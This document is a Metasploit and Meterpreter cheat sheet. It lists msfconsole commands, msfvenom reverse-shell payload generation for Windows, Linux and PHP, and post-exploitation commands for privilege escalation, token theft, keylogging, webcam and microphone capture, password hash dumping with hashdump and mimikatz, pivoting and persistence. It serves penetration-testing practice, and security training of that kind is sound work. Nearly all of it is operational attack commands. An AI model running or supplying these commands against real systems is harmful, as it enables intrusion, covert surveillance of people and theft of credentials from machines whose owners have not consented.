Metasploit & Meterpreter Enhanced Cheat Sheet

1. MSFconsole Core Usage

```
msfconsole
msfconsole -r
help
```

Module Management

```
search
use
info
show options
show advanced
show targets
set
unset
setg
unsetg
show payloads
set payload
check
exploit / run
exploit -j
exploit -z
reload
```

2. Jobs & Session Handling

```
jobs
jobs -k
sessions
sessions -i
sessions -u
sessions -k
background
set ExitOnSession false
```

3. Automation & Scripting

```
resource
makerc
load
unload
loadpath
```

4. Database Integration

```
db_connect
db_nmap
db_import
hosts
services
vulns
workspace
```

5. msfvenom Payload Generation

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -b "\x00\x0a\x0d"
msfvenom --help-formats
```

6. Meterpreter Basics – System Information

```
sysinfo
getuid
getpid
getprivs
getsystem
```

Meterpreter – File System

```
pwd
ls
cd
cat
download  [dest]
upload  [dest]
edit
search -f
```

Meterpreter – Process Management

```
ps
migrate
kill
steal_token
rev2self
```

Meterpreter – Networking

```
ipconfig
route
arp
portfwd add -l  -p  -r
portfwd list
portfwd delete -l
```

Meterpreter – Interactive Shell

```
shell
execute -f
execute -f cmd.exe -i -H
```

7. Capture & Surveillance

```
screenshot
record_mic
webcam_list
webcam_snap
webcam_stream
keyscan_start
keyscan_stop
keyscan_dump
```

8. Pivoting & Routing

```
run autoroute -s
run autoroute -p
```

9. Post-Exploitation Modules

```
run post/multi/recon/local_exploit_suggester
run post/windows/gather/hashdump
run post/windows/manage/migrate
run post/multi/gather/enum_applications
load mimikatz
mimikatz_command -f samdump::hashes
```

10. Practical Tips

- Stabilize sessions: migrate into a stable process (explorer.exe on Windows) before heavy actions. - Use 'check' before running exploits. - For persistence, use scheduled tasks or persistence scripts. - Keep notes on OS, architecture, and session IDs. - Use 'setg' for global variables to save time.